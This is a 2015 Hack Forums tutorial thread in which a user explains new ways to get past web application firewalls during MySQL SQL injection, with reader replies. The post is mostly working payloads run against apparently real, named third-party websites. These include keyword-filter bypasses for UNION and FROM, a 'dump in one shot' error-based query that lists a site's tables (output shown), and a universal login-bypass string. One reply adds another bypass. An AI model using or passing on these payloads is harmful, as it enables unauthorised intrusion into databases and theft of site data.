[Paper] MySQL new waf bypass methods, DIOS and ABIOS [/Tutorial]

[Paper] MySQL new waf bypass methods, DIOS and ABIOS [/Tutorial] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Paper] MySQL new waf bypass methods, DIOS and ABIOS [/Tutorial] (/showthread.php?tid=4715566)

Pages: Pages 1 2 3 4 5

[Paper] MySQL new waf bypass methods, DIOS and ABIOS [/Tutorial] - benzi - Mar 4, 2015

sup.
in the recent days, i get a lot of waf bypass requests, which the regular methods (/* , #\n , url-encoding etc) dont work on them.
so today i will write about some new methods to handle these kinda sites, and some other new stuff.
this time there will be no pics in this paper, only text.

TOC
- waf bypass (\N , e , {})
- DIOS in non-geometric error based
- ABIOS

waf bypass
up to now, if we saw error like "403 forbbiden", we didnt take it much seriously.
we just used one of the known bypass methods, and owned the website.
but recently, the wafs are getting smarter and harder. but so do i 🙂
we will use this site for demonstrate-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78

i counted the columns using group by, and there are 16.
so our query looks like that-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

"Not Acceptable! This error was generated by Mod_Security."
seems like mod_security is on.
how can we bypass modsecurity? usually /*!50000union*/ and distinct are doing the trick.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -

no more mod_security, but now we got another waf.
thats the first trick i wanna show you today.
as we can see, 'union' is being blocked.
but how strongly?
lets do some tests.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union

403, union gets block.
so maybe the 'e' trick will do?

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union

403, still blocked.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunion

no 403, union not blocked.

but how can we stick a letter to union, and not get 1064?
we can so that by use \N.
\N is case sensetive for NULL.
lets try-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

bypassed, column #10 on the screen.
lets try to get the version.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--

403 again.
seems like we cant directly put version() in the column.
thats the second trick i wanna show you.
usually, we would do something like (version()), but seems its also covered here.
in mysql, theres something called "timestamp".
basically, its defines the type of the string, like-

Code 
SELECT TIMESTAMP 'str';

the cool thing about it, its we can write it like that-

Code 
SELECT { ts column};

so we can use that to bypass wafs, like that-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--

boom, 5.5.40-36.1 .
another thing i want to talk about today, is getting tables.
so lets try to get tables.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from--

403, waf blocks from.
lets try to stick a number to it.

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16from--

no waf.
usually to stick a number to "from", we use 'e'. its forbbiden here, but theres another method.
we can simply put dot before the number, and write anything after without space.
its like 0.16 .
so in our injection-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from sometable--

no waf.
now when we srite "from information_schema.tables", we get modsecurity error.
remember the timestamp thing? we can also do that with tables, so-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--

modsecurity - bypassed.
403 - not yet.
as we can see, the combination of "schema.tables" is blocked. the usual ``,+,() not working, so we gotta think outside the box.
we can mess with the query parser using 'e' again.
when the webserver parsing the query, it use db.table.column format.
in sql, information_schema 9.e.tables = information_schema.tables.
so-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema 0.e.tables}--

now for the table_name part.
as before, we cant just write the column instead of column #10, so we gotta be creative.
just like information_schema bypass, we can also use 'e' to mess with the parser with the columns.
in columns, it goes like that-
``0.e.table_name = table_name, so-

Code 
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,``0.e.table_name,11,12,13,14,15,.16from {f information_schema 0.e.tables}--

bypassed.

DIOS in non-geometric error based
something i also saw recently, is people trying to make dios in polygon.
the problem of doing that, is unlike union, polygon is limited by the result , so we gotta "be cheap" to save space.
even though the result is limited, its still larger than other error based outputs.

the original dios query is this-

Code 
(select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x)

p.s i remember when denjacker showed me that 3 years ago, i was absolutley amazed to see how far people can get, only by use a simple variable.

lets go back to the tut.
we will use this site to demonstrate-

Code 
http://www.thepernodship.co.uk/users/view.php?id=1

lets check if we can use polygon.

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version)k)p))

Qusers - Error #1367: Illegal non geometric '(select `p`.`@@version` from (select '5.1.73-log' AS `@@version` from (select @@version AS `@@version`) `k`) `p`)' value found during parsing

yes, we can.
but as we can see, the output is very large, our dios will never fit in.
the red part is the alias, which take a lot of space.
lets try to save space, by give @@version a shorter alias, like 'a'.

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version a)k)p))

Qusers - Error #1367: Illegal non geometric '(select `p`.`a` from (select '5.1.73-log' AS `a` from (select a AS `a`) `k`) `p`)' value found during parsing

shorter indeed.
but can we reduce more?
lets try give @@version an empty alias.

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version``)k)p))

Qusers - Error #1367: Illegal non geometric '(select `` from (select '5.1.73-log' AS `` from (select AS ``) `k`) `p`)' value found during parsing

thats more like it.
now lets try to put the dios syntax in our query.

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x))k)p))

Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select '' value found during parsing

blank output.
the 0x00 gets convert to real null byte, which "delete" our output.
lets replace it by 0x01.

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d6174696f6e5f736368656d61)and (@)in (@:=concat(@,0x203a20,table_name))))x))k)p))

Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select ' : blocklist : log_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `(' value found during parsing

lets get rid off the unnecessary things, and as before, give our output an empty alias-

Code 
http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select((select@''from(select@:=0x01,(select@ from information_schema.tables where table_schema!='information_schema'and@:=concat(@,0x203a20,table_name)))p))'')f)x))

Qusers - Error #1367: Illegal non geometric '(select `` from (select ' : blocklist : log_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `` from (' value found during parsing
and we got DIOS for non-geometric error based.

Auth Bypass In One Shot
sometimes we need to bypass some admin panels, and we do that using or 1=1.
the problem is we dont know if we gotta use integer, one-quote string or double-quote string.
but is it really matter?
lets check this query-

Code 
or 1-- -' or 1 or '1"or 1 or"

lets check any term of the above.
if its integer, the url behind the query + our injection is like that-

SELECT FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username='' AND password=''

the "or 1-- -" gets active, make the condition true and ignores the rest of the query.
now lets check regular string-
SELECT FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' .....

the "or 1" part make the query true, and the other parts are considered as the comparison strings.
same with the double quotes.
SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" " .....

wafs will always get tricky, the sqli section will continue to grow, and the human brain will provide more and more with less and less.
thats my conclusion.

hope you learned something. 🙂

* - themastersinner - Mar 4, 2015

I love your tutorials/papers, I always learn something new!

👍

* - benzi - Mar 4, 2015

thank you.
if you wanna learn something new, you know who you should pm to ;)

* - r0ml4h - Mar 4, 2015

awesome tut, learn something new to day
thanks mr. ben 👍

Quote:wafs will always get tricky, the sqli section will continue to grow, and the human brain will provide more and more with less and less.
thats my conclusion

btw nice words 🎉

* - Aakash Choudhary - Mar 4, 2015

Wow. Its great as usual always master Benji sir. I always learn new from you. Its a very nice tutorial. Thanks sir._/\_ 🤝

* - syrian thunder - Mar 5, 2015

Thanks for sharing such TUT benzi .. learned something bew today from the master .. we should always learn something new every day :)

King glad for u master :D

* - xx 0x0 xx - Mar 5, 2015

omg always you come with an original and very Detailed HQ tutorials this is the real meaning of hacking

ur the best keep going brother :)

* - Viktory - Mar 5, 2015

Amazing tutorial as always! Never heard of these methods before, I certainly learned something new. Bookmarked.

Thanks a lot for writing this out!

* - BaboonZ - Mar 5, 2015

Hello Benji,
Would you read my topic in this section and PM me your Skype if you would be able to help me out?
I have to low post count and therfor I c annot send you a pm yet.

* - sweetoow - Mar 5, 2015

The tuts you make are always top class.. very educational... n always something new..
Thanks for sharing knowledge..

* - benzi - Mar 5, 2015

(Mar 5, 2015 06:27 AM)BaboonZ Wrote: Hello Benji,
Would you read my topic in this section and PM me your Skype if you would be able to help me out?
I have to low post count and therfor I c annot send you a pm yet.

contact me in my email, i'll be glad you help.
[email protected]

* - kalampolo - Mar 5, 2015

Wo0o0h ...

Nice TuT .. Creative TuT ../

I LEarn Some Thing ..

I dont Know we can use \N FOr bypass Union 😶

Tnx Dude ...

We W8 For More TuT From You ../

======
We can Use When "FROM" Is very hard Filtered

>>--> With "\N"

we Can Use Instead OF last Vuln Column and Good Work ..

😎

Code 
%2C\Nfrom(%2F*!50000information_schema*%2F.tables)

Tnx For Mr Benzi ... 🤝

* - Frosteh - Mar 5, 2015

Many thanks for the info, it's much appreciated!

* - JaNuS18 - Mar 5, 2015

Kudos benzi for HQ tutorial 🤝 👍

* - Ooze - Mar 5, 2015

I was literally just about to post asking for help when I saw this, thanks for posting it helped!